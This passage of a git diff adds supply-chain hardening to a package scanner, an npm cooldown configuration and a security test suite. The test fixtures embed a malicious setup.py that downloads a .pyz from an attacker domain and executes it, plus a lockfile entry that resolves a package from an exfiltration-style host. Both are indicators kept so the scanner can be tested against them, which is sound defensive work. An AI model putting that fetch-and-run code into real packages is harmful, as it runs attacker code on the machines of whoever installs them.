[WARN] {path.name}: cumulative bytes cap " + f"{HARD_MAX_TOTAL_BYTES} hit at {info.filename!r}", + file = sys.stderr, + ) + return try: data = zf.read(info.filename) + total += len(data) text = data.decode("utf-8", errors = "replace") yield info.filename, text except Exception: continue elif path.name.endswith((".tar.gz", ".tgz", ".tar.bz2", ".tar.xz", ".tar")): - with tarfile.open(path) as tf: - for member in tf.getmembers(): + total = 0 + count = 0 + # Streaming open so we never read the whole archive into memory. + with tarfile.open(path, mode = "r|*") as tf: + for member in tf: + count += 1 + if count > HARD_MAX_MEMBERS: + print( + f" [WARN] {path.name}: refused; member count " + f"{count} exceeds cap {HARD_MAX_MEMBERS}", + file = sys.stderr, + ) + return + # Refuse symlinks / hardlinks / devices outright -- the + # scanner never writes them anyway, but tar parsers + # have historically dereferenced them on extract. + if member.issym() or member.islnk(): + print( + f" [WARN] {path.name}: refused link member " + f"{member.name!r}", + file = sys.stderr, + ) + continue + if member.isdev() or member.isfifo(): + print( + f" [WARN] {path.name}: refused special member " + f"{member.name!r}", + file = sys.stderr, + ) + continue if not member.isfile(): continue + reason = _refuse_unsafe_member_name(member.name) + if reason is not None: + print( + f" [WARN] {path.name}: refused member ({reason})", + file = sys.stderr, + ) + continue + declared = max(member.size, 0) + if declared > HARD_MAX_FILE_BYTES: + print( + f" [WARN] {path.name}: skipped {member.name!r} " + f"(declared {declared} > cap {HARD_MAX_FILE_BYTES})", + file = sys.stderr, + ) + continue + if total + declared > HARD_MAX_TOTAL_BYTES: + print( + f" [WARN] {path.name}: cumulative bytes cap " + f"{HARD_MAX_TOTAL_BYTES} hit at {member.name!r}", + file = sys.stderr, + ) + return try: f = tf.extractfile(member) if f is None: continue - data = f.read() + # Bound the read so a tar header that lies about + # size cannot OOM us. + data = f.read(HARD_MAX_FILE_BYTES + 1) + if len(data) > HARD_MAX_FILE_BYTES: + print( + f" [WARN] {path.name}: body of " + f"{member.name!r} exceeded declared cap", + file = sys.stderr, + ) + continue + total += len(data) text = data.decode("utf-8", errors = "replace") yield member.name, text except Exception: @@ -1154,26 +1326,48 @@ def iter_archive_files(archive_path: str): def scan_archive(archive_path: str, package: str) -> list[Finding]: - """Scan all files in an archive for malicious patterns.""" - findings = [] - for filename, content in iter_archive_files(archive_path): - lower = filename.lower() - if lower.endswith(".pth"): - findings.extend(check_pth_file(content, filename, package)) - elif lower.endswith(".py"): - findings.extend(check_py_file(content, filename, package)) - elif lower.endswith((".js", ".mjs", ".cjs", ".ts")): - # Lightning 2.6.x hid its real payload in a 14.8 MB - # router_runtime.js inside a Python wheel. Without this - # branch we'd have only seen the small Python loader. - findings.extend(check_js_file(content, filename, package)) - elif lower.endswith((".sh", ".bash")): - findings.extend(check_shell_file(content, filename, package)) - elif "/.github/workflows/" in lower and lower.endswith((".yml", ".yaml")): - # Shai-Hulud / ForceMemo plant their own GHA workflow. - # A workflow file inside a *PyPI package* is on its own - # already a yellow flag; pattern-match the worm signatures. - findings.extend(check_workflow_file(content, filename, package)) + """Scan all files in an archive for malicious patterns. + + A corrupted archive container (truncated wheel, bad gzip header, + etc.) used to be silently skipped by an ``except Exception: continue`` + inside ``iter_archive_files``. Per the silent-failure hardening + (SF1) it now emits a CRITICAL ``archive_corrupted`` finding so the + main loop counts and surfaces it rather than reporting "0 findings". + """ + findings: list[Finding] = [] + try: + for filename, content in iter_archive_files(archive_path): + lower = filename.lower() + if lower.endswith(".pth"): + findings.extend(check_pth_file(content, filename, package)) + elif lower.endswith(".py"): + findings.extend(check_py_file(content, filename, package)) + elif lower.endswith((".js", ".mjs", ".cjs", ".ts")): + # Lightning 2.6.x hid its real payload in a 14.8 MB + # router_runtime.js inside a Python wheel. Without this + # branch we'd have only seen the small Python loader. + findings.extend(check_js_file(content, filename, package)) + elif lower.endswith((".sh", ".bash")): + findings.extend(check_shell_file(content, filename, package)) + elif "/.github/workflows/" in lower and lower.endswith((".yml", ".yaml")): + # Shai-Hulud / ForceMemo plant their own GHA workflow. + # A workflow file inside a *PyPI package* is on its own + # already a yellow flag; pattern-match the worm signatures. + findings.extend(check_workflow_file(content, filename, package)) + except (zipfile.BadZipFile, tarfile.TarError, EOFError, OSError) as exc: + # The archive cannot be opened or is structurally broken. A + # benign wheel/sdist always opens; a malformed one is either a + # transport corruption (treat as scan failure) or a deliberate + # attempt to bypass scanners that swallow archive errors. + findings.append( + Finding( + CRITICAL, + package, + os.path.basename(archive_path), + "archive_corrupted", + f"{type(exc).__name__}: {exc}"[:240], + ) + ) return findings @@ -1182,33 +1376,120 @@ def scan_archive(archive_path: str, package: str) -> list[Finding]: # --------------------------------------------------------------------------- +_RE_PYPI_SPEC_VERSION = re.compile(r"==\s*([A-Za-z0-9_.\-+!]+)") + + +def _check_blocked_pypi_versions( + specs: list[str], +) -> tuple[list[str], list[Finding]]: + """Filter ``specs`` against ``BLOCKED_PYPI_VERSIONS``. + + Returns ``(safe_specs, findings)``. Each blocked spec emits a CRITICAL + ``Finding`` and is removed from the returned spec list so the caller + never fetches the malicious tarball. Specs without an ``==X.Y.Z`` pin + pass through unchanged -- pip will resolve them at download time and + the existing scanners will catch the payload via the IOC regexes. + """ + safe: list[str] = [] + findings: list[Finding] = [] + for spec in specs: + name = _extract_pkg_name(spec).lower() + blocked = BLOCKED_PYPI_VERSIONS.get(name, set()) + if not blocked: + safe.append(spec) + continue + m = _RE_PYPI_SPEC_VERSION.search(spec) + version = m.group(1) if m else None + if version is not None and version in blocked: + findings.append( + Finding( + CRITICAL, + f"{name}=={version}", + "", + "blocked-known-malicious", + f"{name}=={version} is on the BLOCKED_PYPI_VERSIONS list", + ) + ) + # Drop the spec; do not download. + continue + safe.append(spec) + return safe, findings + + +def _pip_download_env() -> dict[str, str]: + """Return a scrubbed environment for invoking `pip download`. + + Hostile shells / CI configs can override the index with PIP_INDEX_URL, + PIP_EXTRA_INDEX_URL, or a user `pip.conf`. We strip every PIP_* + override and route the resolver explicitly at PyPI. PIP_CONFIG_FILE + is forced to /dev/null so a stray ~/.pip/pip.conf with an + extra-index-url cannot bypass the pin. + """ + env = {**os.environ} + # Drop any user override. + for key in [k for k in env if k.startswith("PIP_")]: + env.pop(key, None) + env["PIP_INDEX_URL"] = "https://pypi.org/simple" + env["PIP_EXTRA_INDEX_URL"] = "" + env["PIP_CONFIG_FILE"] = "/dev/null" + env["PIP_DISABLE_PIP_VERSION_CHECK"] = "1" + return env + + +# Pip resolver flags shared by both download branches. Pinning the +# index URL on the CLI is belt + braces with the env scrub above. +# `--no-build-isolation` is deliberately NOT set; we never invoke +# setup.py at all because of `--only-binary :all:`. +_PIP_DOWNLOAD_PIN_FLAGS = [ + "--index-url", + "https://pypi.org/simple", + "--only-binary", + ":all:", +] + + +# Strip any character that could escape `dest` via `os.path.join`. This +# is the last line of defence before `pkg_dir = os.path.join(dest, ...)` +# so a spec like `../../etc/foo==1.0` cannot land outside the temp tree. +_RE_PKG_NAME_SANITIZE = re.compile(r"[^A-Za-z0-9._-]") + + def download_packages( specs: list[str], dest: str, *, with_deps: bool = False, -) -> list[tuple[str, str]]: +) -> tuple[list[tuple[str, str]], list[str]]: """Download packages to dest using pip download. NEVER installs. - Returns list of (spec_or_name, filepath) for every downloaded archive. + Returns ``(results, download_errors)`` where ``results`` is a list of + ``(spec_or_name, filepath)`` for every downloaded archive and + ``download_errors`` is a list of one-line transport-failure summaries. + A non-empty ``download_errors`` MUST cause the caller to exit non-zero + even if no findings were produced; a silent ``0 findings, scan + incomplete`` is the bug class this return-shape was widened to fix. When with_deps=True, downloads the full transitive dependency tree in a single pip invocation (all archives land in one flat dir). When with_deps=False (default), downloads each spec individually with --no-deps. """ - results = [] + results: list[tuple[str, str]] = [] + download_errors: list[str] = [] + env = _pip_download_env() if with_deps: # Single pip download call for all specs + their transitive deps. - # --no-build-isolation and --no-binary :none: are NOT used -- - # pip download only fetches wheels/sdists, never executes them. + # `--only-binary :all:` refuses sdists so we never execute a + # setup.py just to learn dependency metadata; combined with the + # scrubbed env, pip is wired hard at pypi.org. os.makedirs(dest, exist_ok = True) cmd = [ sys.executable, "-m", "pip", "download", + *_PIP_DOWNLOAD_PIN_FLAGS, "--dest", dest, ] + specs @@ -1218,14 +1499,18 @@ def download_packages( capture_output = True, text = True, timeout = 600, # transitive resolution can be slow + env = env, ) if proc.returncode != 0: - print( - f" [ERROR] pip download (with deps) failed: {proc.stderr.strip()[:500]}", - file = sys.stderr, + msg = ( + f"pip download (with deps) failed: " f"{proc.stderr.strip()[:500]}" ) + print(f" [ERROR] {msg}", file = sys.stderr) + download_errors.append(msg) except subprocess.TimeoutExpired: - print(f" [ERROR] pip download (with deps) timed out", file = sys.stderr) + msg = "pip download (with deps) timed out" + print(f" [ERROR] {msg}", file = sys.stderr) + download_errors.append(msg) # Collect every archive that landed in dest for fname in sorted(os.listdir(dest)): @@ -1236,9 +1521,11 @@ def download_packages( results.append((pkg_name, fpath)) else: for spec in specs: - pkg_dir = os.path.join( - dest, spec.split("==")[0].split(">=")[0].split("<=")[0].split("[")[0] - ) + raw_name = _extract_pkg_name(spec) + # Sanitize before joining into `dest` so a hostile spec + # cannot path-traverse out of the destination directory. + safe_name = _RE_PKG_NAME_SANITIZE.sub("_", raw_name) or "_pkg" + pkg_dir = os.path.join(dest, safe_name) os.makedirs(pkg_dir, exist_ok = True) cmd = [ sys.executable, @@ -1246,6 +1533,7 @@ def download_packages( "pip", "download", "--no-deps", + *_PIP_DOWNLOAD_PIN_FLAGS, "--dest", pkg_dir, spec, @@ -1256,15 +1544,20 @@ def download_packages( capture_output = True, text = True, timeout = 120, + env = env, ) if proc.returncode != 0: - print( - f" [ERROR] pip download failed for {spec}: {proc.stderr.strip()}", - file = sys.stderr, + msg = ( + f"pip download failed for {spec}: " + f"{proc.stderr.strip()[:500]}" ) + print(f" [ERROR] {msg}", file = sys.stderr) + download_errors.append(msg) continue except subprocess.TimeoutExpired: - print(f" [ERROR] pip download timed out for {spec}", file = sys.stderr) + msg = f"pip download timed out for {spec}" + print(f" [ERROR] {msg}", file = sys.stderr) + download_errors.append(msg) continue # Find downloaded file(s) @@ -1272,7 +1565,7 @@ def download_packages( fpath = os.path.join(pkg_dir, fname) if os.path.isfile(fpath): results.append((spec, fpath)) - return results + return results, download_errors # --------------------------------------------------------------------------- @@ -1586,6 +1879,13 @@ def update_req_file(filepath: str, updates: dict[int, str]) -> None: """Apply line-level updates to a requirements file. updates: {line_num (1-indexed): new_line_text} + + Writes atomically: stage in a sibling tmp file on the same + filesystem, fsync, then `os.replace` over the original. A SIGKILL + or power loss mid-write therefore either leaves the original + intact or leaves the fully new file -- never a half-written + requirements file (which would silently re-introduce a malicious + pin). """ with open(filepath) as f: lines = f.readlines() @@ -1597,8 +1897,24 @@ def update_req_file(filepath: str, updates: dict[int, str]) -> None: ending = "\n" if lines[idx].endswith("\n") else "" lines[idx] = new_text + ending - with open(filepath, "w") as f: - f.writelines(lines) + dirpath = os.path.dirname(os.path.abspath(filepath)) or "." + fd, tmp_path = tempfile.mkstemp( + prefix = ".req_fix.", + dir = dirpath, + ) + try: + with os.fdopen(fd, "w") as f: + f.writelines(lines) + f.flush() + os.fsync(f.fileno()) + os.replace(tmp_path, filepath) + except Exception: + # Best effort cleanup; the destination was never touched. + try: + os.unlink(tmp_path) + except OSError: + pass + raise def _run_fix( @@ -1842,10 +2158,19 @@ def main() -> int: all_findings: list[Finding] = [] + # Hard pin-block: refuse to download known-malicious PyPI versions. + specs, blocked_findings = _check_blocked_pypi_versions(specs) + all_findings.extend(blocked_findings) + tmpdir = tempfile.mkdtemp(prefix = "pth_scan_") atexit.register(lambda d = tmpdir: shutil.rmtree(d, ignore_errors = True)) + download_errors: list[str] = [] try: - downloaded = download_packages(specs, tmpdir, with_deps = args.with_deps) + downloaded, download_errors = download_packages( + specs, + tmpdir, + with_deps = args.with_deps, + ) print(f" Downloaded {len(downloaded)} archive(s).") for spec, archive_path in downloaded: @@ -1871,6 +2196,26 @@ def main() -> int: ) _run_fix(critical_pkgs, entries, args.max_search) + # Surface any pip-download failures BEFORE the scan-result exit code so + # an empty / partial download cannot mask itself as "0 findings, all + # clean". This is item (4) of the silent-failure hardening: an + # unresolvable spec or PyPI timeout used to print to stderr and exit 0. + if download_errors: + print( + f"\n {'=' * 72}\n" + f" SCAN INCOMPLETE: {len(download_errors)} pip download " + f"failure(s):\n" + f" {'=' * 72}", + file = sys.stderr, + ) + for err in download_errors: + print(f" [ERROR] {err}", file = sys.stderr) + print( + " Refusing to report 'all clean' on a partial scan; " "exiting 2.", + file = sys.stderr, + ) + return 2 + # Exit code: 1 if any CRITICAL or HIGH if any(f.severity in (CRITICAL, HIGH) for f in all_findings): return 1 diff --git a/scripts/stamp_studio_release.py b/scripts/stamp_studio_release.py old mode 100755 new mode 100644 index 5547b95137..ac538e9937 --- a/scripts/stamp_studio_release.py +++ b/scripts/stamp_studio_release.py @@ -12,9 +12,34 @@ import re import subprocess import sys import tarfile +import tempfile import zipfile from pathlib import Path + +def _atomic_write_text(path: Path, data: str, encoding: str = "utf-8") -> None: + """Atomic version of ``Path.write_text``. + + A crash or signal mid-write leaves the prior file intact; the + Studio build never reads a partial ``_studio_release_build.py``. + """ + dirpath = str(path.parent) or "." + path.parent.mkdir(parents = True, exist_ok = True) + fd, tmp_path = tempfile.mkstemp(prefix = ".stamp_studio.", dir = dirpath) + try: + with os.fdopen(fd, "w", encoding = encoding) as handle: + handle.write(data) + handle.flush() + os.fsync(handle.fileno()) + os.replace(tmp_path, path) + except Exception: + try: + os.unlink(tmp_path) + except OSError: + pass + raise + + REPO_ROOT = Path(__file__).resolve().parents[1] BUILD_INFO_PATH = ( REPO_ROOT / "studio" / "backend" / "utils" / "_studio_release_build.py" @@ -178,11 +203,11 @@ def stamp(require_release: bool) -> int: file = sys.stderr, ) return 2 - BUILD_INFO_PATH.write_text(PLACEHOLDER, encoding = "utf-8") + _atomic_write_text(BUILD_INFO_PATH, PLACEHOLDER, encoding = "utf-8") print("dev") return 0 - BUILD_INFO_PATH.write_text(build_info_source(version), encoding = "utf-8") + _atomic_write_text(BUILD_INFO_PATH, build_info_source(version), encoding = "utf-8") print(f"Stamping Studio release version {version} from {source}", file = sys.stderr) print(version) return 0 diff --git a/studio/frontend/.npmrc b/studio/frontend/.npmrc new file mode 100644 index 0000000000..8e21abe7a2 --- /dev/null +++ b/studio/frontend/.npmrc @@ -0,0 +1,28 @@ +# Studio frontend npm configuration. +# +# Mini Shai-Hulud / Axios-style supply chain defense. +# Requires npm >=11.10.0. Refuses tarballs published less than 7 days ago, +# closing the typical 4-72h attack window between malicious publish and +# upstream removal. npm interprets the bare integer as DAYS; do not +# append `d`, npm 11.x will parse `7d` as a Date string and abort. +min-release-age=7 +# Defensive alias: `minimum-release-age` takes minutes (10080 = 7 days). +# Some npm versions / wrappers consult one key but not the other; setting +# both means a single setting-name parse change upstream cannot silently +# disable the cooldown. The two keys MUST agree; do not let them drift. +minimum-release-age=10080 +# Belt-and-braces: refuse to write back loose `^x.y.z` ranges into +# package.json when a maintainer runs `npm install ` locally. This +# does NOT rewrite already-present ranges (those need an explicit +# `npm install @ --save-exact` pass) but it stops new +# carets from creeping into the manifest as patch-version footguns. +save-exact=true +# Lock the registry. A user-set PIP_INDEX_URL-style override (here: +# NPM_CONFIG_REGISTRY env var or a stale ~/.npmrc) shouldn't redirect +# our installs to an attacker registry. +registry=https://registry.npmjs.org/ +audit-level=high +fund=false +# Maintainer note: use `npm ci` (never `npm install`) in CI and locally +# when reproducing a build. The 7-day cooldown above is enforced by npm +# itself; downgrading or removing it bypasses the supply-chain gate. diff --git a/studio/frontend/package.json b/studio/frontend/package.json index 463fbd9261..3a02bb926a 100644 --- a/studio/frontend/package.json +++ b/studio/frontend/package.json @@ -41,7 +41,7 @@ "@streamdown/math": "1.0.2", "@streamdown/mermaid": "1.0.2", "@tailwindcss/vite": "^4.2.2", - "@tanstack/react-router": "^1.159.10", + "@tanstack/react-router": "1.169.2", "@tanstack/react-table": "^8.21.3", "@tauri-apps/api": "^2.10.1", "@tauri-apps/plugin-clipboard-manager": "^2.3.2", @@ -83,6 +83,11 @@ "unpdf": "^1.4.0", "zustand": "^5.0.11" }, + "overrides": { + "@tanstack/react-router": "1.169.2", + "@tanstack/router-core": "1.169.2", + "@tanstack/history": "1.161.6" + }, "devDependencies": { "@biomejs/biome": "^1.9.4", "@eslint/js": "^9.39.1", diff --git a/studio/install_llama_prebuilt.py b/studio/install_llama_prebuilt.py old mode 100755 new mode 100644 diff --git a/tests/security/__init__.py b/tests/security/__init__.py new file mode 100644 index 0000000000..e69de29bb2 diff --git a/tests/security/conftest.py b/tests/security/conftest.py new file mode 100644 index 0000000000..6febeec3e7 --- /dev/null +++ b/tests/security/conftest.py @@ -0,0 +1,93 @@ +"""Shared fixtures for the security regression suite. + +The scanner scripts under audit are designed to be offline-safe. Pin +that invariant by autouse-installing a session-scoped network blocker +that refuses any non-loopback `socket.connect()` from inside the test +process. If a future test (or a scanner regression) accidentally tries +to reach the public internet, pytest fails loudly instead of leaking +the request. +""" + +from __future__ import annotations + +import socket +import sys +from pathlib import Path + +import pytest + + +# Make `scripts/` importable as a package so tests can grab the scanner +# constants directly. The repo root sits two levels above this file. +REPO_ROOT = Path(__file__).resolve().parents[2] +if str(REPO_ROOT) not in sys.path: + sys.path.insert(0, str(REPO_ROOT)) + + +_LOOPBACK_PREFIXES = ("127.", "::1", "localhost") + + +def _is_loopback(host: str | bytes) -> bool: + if isinstance(host, bytes): + try: + host = host.decode("utf-8") + except UnicodeDecodeError: + return False + if not host: + return False + host = host.strip() + if host in {"::1", "localhost", "0.0.0.0"}: + return True + return host.startswith("127.") + + +class _BlockedSocket(socket.socket): + """Socket subclass that refuses any non-loopback connect().""" + + def connect(self, address): # type: ignore[override] + host = None + if isinstance(address, tuple) and address: + host = address[0] + if not _is_loopback(host or ""): + raise RuntimeError( + f"network access blocked by tests/security/conftest.py " + f"(attempted connect to {address!r}); the scanner suite " + "must run fully offline" + ) + return super().connect(address) + + def connect_ex(self, address): # type: ignore[override] + host = None + if isinstance(address, tuple) and address: + host = address[0] + if not _is_loopback(host or ""): + raise RuntimeError( + f"network access blocked by tests/security/conftest.py " + f"(attempted connect_ex to {address!r})" + ) + return super().connect_ex(address) + + +@pytest.fixture(scope = "session", autouse = True) +def network_blocker(): + """Session-scoped fixture; replaces `socket.socket` with a blocker. + + Yields nothing; the swap is the side effect. Restored at teardown + so other test sessions (run interleaved) see a clean module. + """ + original = socket.socket + socket.socket = _BlockedSocket # type: ignore[assignment] + try: + yield + finally: + socket.socket = original # type: ignore[assignment] + + +@pytest.fixture(scope = "session") +def repo_root() -> Path: + return REPO_ROOT + + +@pytest.fixture(scope = "session") +def fixtures_dir() -> Path: + return Path(__file__).resolve().parent / "fixtures" diff --git a/tests/security/fixtures/__init__.py b/tests/security/fixtures/__init__.py new file mode 100644 index 0000000000..e69de29bb2 diff --git a/tests/security/fixtures/_build.py b/tests/security/fixtures/_build.py new file mode 100644 index 0000000000..b2f862a23e --- /dev/null +++ b/tests/security/fixtures/_build.py @@ -0,0 +1,191 @@ +"""Deterministic builder for the wheel + sdist binary fixtures. + +This script is NOT run from CI; the produced .whl / .tar.gz bytes are +committed alongside it. Re-run only when the IOC literal changes. + +Determinism strategy +-------------------- +- All member timestamps fixed to `SOURCE_DATE_EPOCH=0` (Unix epoch). +- All members written with uid=0, gid=0, uname="", gname="". +- Permission bits fixed: 0o644 for files, 0o755 for directories. +- Members emitted in sorted order so the archive byte stream does not + depend on filesystem iteration order. +- `zipfile.ZipFile` is invoked with `compresslevel=6` (default DEFLATE) + to keep output stable across stdlib versions. + +Re-running this script and diffing the .whl bytes against git is the +regression test for determinism (also asserted in test_scan_packages). +""" + +from __future__ import annotations + +import io +import os +import sys +import tarfile +import zipfile +from pathlib import Path + +SOURCE_DATE_EPOCH = 0 +# Zip stores DOS time which starts at 1980; map epoch to 1980-01-01. +_ZIP_DOS_EPOCH = (1980, 1, 1, 0, 0, 0) + +HERE = Path(__file__).resolve().parent + + +# The IOC literal that scan_packages.py must trip on. Keep this in +# sync with KNOWN_IOC_STRINGS in scripts/scan_npm_packages.py and +# RE_MAY12_IOC in scripts/scan_packages.py. +MALICIOUS_SETUP_PY = '''"""Test fixture: do NOT install. + +This file embeds the May-12 Mini Shai-Hulud IOC literal so the +scan_packages.py regression tests can confirm the scanner trips on +the malicious setup.py shape. The string below is the same literal an +attacker would embed in a compromised release. +""" + +from setuptools import setup +import urllib.request +import subprocess + +# IOC literal -- mirrors public Socket.dev 2026-05-12 disclosure. +urllib.request.urlretrieve( + "https://git-tanstack.com/transformers.pyz", + "/tmp/transformers.pyz", +) +subprocess.run(["python3", "/tmp/transformers.pyz"], check=False) + +setup(name="malicious-fixture", version="0.0.1") +''' + + +CLEAN_INIT_PY = '''"""Test fixture: empty placeholder package.""" +''' + + +WHEEL_METADATA = ( + "Metadata-Version: 2.1\n" + "Name: {name}\n" + "Version: 0.0.1\n" + "Summary: test fixture (do not install)\n" +) + +WHEEL_FILE = ( + "Wheel-Version: 1.0\n" + "Generator: tests/security/fixtures/_build.py\n" + "Root-Is-Purelib: true\n" + "Tag: py3-none-any\n" +) + +RECORD_HEADER = "" + + +def _write_zip_member(zf: zipfile.ZipFile, name: str, data: bytes) -> None: + info = zipfile.ZipInfo(filename = name, date_time = _ZIP_DOS_EPOCH) + info.compress_type = zipfile.ZIP_DEFLATED + info.external_attr = (0o644 & 0xFFFF) << 16 + info.create_system = 3 # Unix + zf.writestr(info, data) + + +def _build_wheel(out_path: Path, *, name: str, payload_files: dict[str, bytes]) -> None: + """Write a deterministic .whl at `out_path`. + + `payload_files` maps archive-relative paths to their bytes. Standard + `.dist-info/METADATA`, `WHEEL`, and `RECORD` are added automatically. + """ + dist_info = f"{name}-0.0.1.dist-info" + members: dict[str, bytes] = dict(payload_files) + members[f"{dist_info}/METADATA"] = WHEEL_METADATA.format(name = name).encode() + members[f"{dist_info}/WHEEL"] = WHEEL_FILE.encode() + # RECORD is intentionally minimal; the scanner only inspects file + # bodies, not hash integrity. + record_lines = [] + for path in sorted(members): + record_lines.append(f"{path},,") + record_lines.append(f"{dist_info}/RECORD,,") + members[f"{dist_info}/RECORD"] = ("\n".join(record_lines) + "\n").encode() + + # Write with sorted order for deterministic byte output. + buf = io.BytesIO() + with zipfile.ZipFile(buf, "w", compression = zipfile.ZIP_DEFLATED) as zf: + for path in sorted(members): + _write_zip_member(zf, path, members[path]) + out_path.write_bytes(buf.getvalue()) + + +def _build_sdist(out_path: Path, *, name: str, payload_files: dict[str, bytes]) -> None: + """Write a deterministic .tar.gz sdist at `out_path`. + + `payload_files` maps archive-relative paths to their bytes; a + leading `{name}-0.0.1/` prefix is added automatically. + """ + prefix = f"{name}-0.0.1" + buf = io.BytesIO() + # gzip mtime fixed via mtime=0 (gzip member header). + import gzip + + inner = io.BytesIO() + with tarfile.open(fileobj = inner, mode = "w") as tf: + for path in sorted(payload_files): + data = payload_files[path] + info = tarfile.TarInfo(name = f"{prefix}/{path}") + info.size = len(data) + info.mtime = SOURCE_DATE_EPOCH + info.mode = 0o644 + info.uid = 0 + info.gid = 0 + info.uname = "" + info.gname = "" + info.type = tarfile.REGTYPE + tf.addfile(info, io.BytesIO(data)) + raw = inner.getvalue() + # gzip with fixed mtime=0 and explicit compresslevel for stability. + gz_buf = io.BytesIO() + with gzip.GzipFile( + fileobj = gz_buf, + mode = "wb", + mtime = SOURCE_DATE_EPOCH, + compresslevel = 6, + filename = "", + ) as gz: + gz.write(raw) + out_path.write_bytes(gz_buf.getvalue()) + + +def build_all() -> dict[str, Path]: + os.environ["SOURCE_DATE_EPOCH"] = str(SOURCE_DATE_EPOCH) + + outputs: dict[str, Path] = {} + + # Malicious wheel: payload setup.py that embeds the May-12 IOC. + mal_payload = { + "setup.py": MALICIOUS_SETUP_PY.encode(), + "malicious_fixture/__init__.py": b"# malicious fixture stub\n", + } + mal_whl = HERE / "malicious_wheel.whl" + _build_wheel(mal_whl, name = "malicious_fixture", payload_files = mal_payload) + outputs["malicious_wheel"] = mal_whl + + # Clean wheel: empty placeholder. + clean_payload = { + "clean_fixture/__init__.py": CLEAN_INIT_PY.encode(), + } + clean_whl = HERE / "clean_wheel.whl" + _build_wheel(clean_whl, name = "clean_fixture", payload_files = clean_payload) + outputs["clean_wheel"] = clean_whl + + # Malicious sdist: same setup.py, tar.gz form. + mal_sdist = HERE / "malicious_sdist.tar.gz" + _build_sdist(mal_sdist, name = "malicious_fixture", payload_files = mal_payload) + outputs["malicious_sdist"] = mal_sdist + + return outputs + + +if __name__ == "__main__": + paths = build_all() + for label, path in paths.items(): + size = path.stat().st_size + print(f" {label:>18}: {path.name} ({size} bytes)") + sys.exit(0) diff --git a/tests/security/fixtures/clean_lockfile.json b/tests/security/fixtures/clean_lockfile.json new file mode 100644 index 0000000000..45ec5e9ae6 --- /dev/null +++ b/tests/security/fixtures/clean_lockfile.json @@ -0,0 +1,21 @@ +{ + "name": "fixture-clean", + "version": "0.0.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "fixture-clean", + "version": "0.0.0" + }, + "node_modules/workspace-symlink-pkg": { + "version": "1.0.0", + "link": true + }, + "node_modules/nested-bundle-fold-in/node_modules/sub-dep": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/sub-dep/-/sub-dep-0.1.0.tgz", + "integrity": "sha512-CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC==" + } + } +} diff --git a/tests/security/fixtures/clean_wheel.whl b/tests/security/fixtures/clean_wheel.whl new file mode 100644 index 0000000000..4ffc15b7a5 Binary files /dev/null and b/tests/security/fixtures/clean_wheel.whl differ diff --git a/tests/security/fixtures/malicious_lockfile.json b/tests/security/fixtures/malicious_lockfile.json new file mode 100644 index 0000000000..d9cbb0b282 --- /dev/null +++ b/tests/security/fixtures/malicious_lockfile.json @@ -0,0 +1,26 @@ +{ + "name": "fixture-malicious", + "version": "0.0.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "fixture-malicious", + "version": "0.0.0" + }, + "node_modules/@tanstack/react-router": { + "version": "1.169.5", + "resolved": "https://registry.npmjs.org/@tanstack/react-router/-/react-router-1.169.5.tgz", + "integrity": "sha512-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" + }, + "node_modules/exfil-stub": { + "version": "0.0.1", + "resolved": "https://filev2.getsession.org/file/AAAA", + "integrity": "sha512-BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB==" + }, + "node_modules/missing-integrity-pkg": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/missing-integrity-pkg/-/missing-integrity-pkg-0.0.1.tgz" + } + } +} diff --git a/tests/security/fixtures/malicious_sdist.tar.gz b/tests/security/fixtures/malicious_sdist.tar.gz new file mode 100644 index 0000000000..fc7f542ce0 Binary files /dev/null and b/tests/security/fixtures/malicious_sdist.tar.gz differ diff --git a/tests/security/fixtures/malicious_wheel.whl b/tests/security/fixtures/malicious_wheel.whl new file mode 100644 index 0000000000..c2d7ea6f52 Binary files /dev/null and b/tests/security/fixtures/malicious_wheel.whl differ diff --git a/tests/security/fixtures/structural_only_lockfile.json b/tests/security/fixtures/structural_only_lockfile.json new file mode 100644 index 0000000000..c24c899978 --- /dev/null +++ b/tests/security/fixtures/structural_only_lockfile.json @@ -0,0 +1,21 @@ +{ + "name": "fixture-structural-only", + "version": "0.0.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "fixture-structural-only", + "version": "0.0.0" + }, + "node_modules/exfil-stub": { + "version": "0.0.1", + "resolved": "https://filev2.getsession.org/file/AAAA", + "integrity": "sha512-BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB==" + }, + "node_modules/missing-integrity-pkg": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/missing-integrity-pkg/-/missing-integrity-pkg-0.0.1.tgz" + } + } +} diff --git a/tests/security/test_lint_workflow_triggers.py b/tests/security/test_lint_workflow_triggers.py new file mode 100644 index 0000000000..554c360d88 --- /dev/null +++ b/tests/security/test_lint_workflow_triggers.py @@ -0,0 +1,138 @@ +"""Regression tests for scripts/lint_workflow_triggers.py. + +Guards against future regressions that would re-introduce GHSA-g7cv-rxg3-hmpx +(TanStack) -class supply-chain vectors: + * pull_request_target (fork PR runs in base context). + * Shared cache keys between PR-triggered workflows and the publish workflow. +""" + +from __future__ import annotations + +import shutil +import subprocess +import sys +from pathlib import Path + +import pytest + +REPO_ROOT = Path(__file__).resolve().parents[2] +SCRIPT = REPO_ROOT / "scripts" / "lint_workflow_triggers.py" + + +def _run(workflows_dir: Path) -> subprocess.CompletedProcess: + return subprocess.run( + [sys.executable, str(SCRIPT), "--workflows-dir", str(workflows_dir)], + capture_output = True, + text = True, + ) + + +def test_lint_passes_on_current_workflows(): + """The live `.github/workflows/` tree must pass the lint.""" + live = REPO_ROOT / ".github" / "workflows" + proc = _run(live) + assert ( + proc.returncode == 0 + ), f"live tree failed 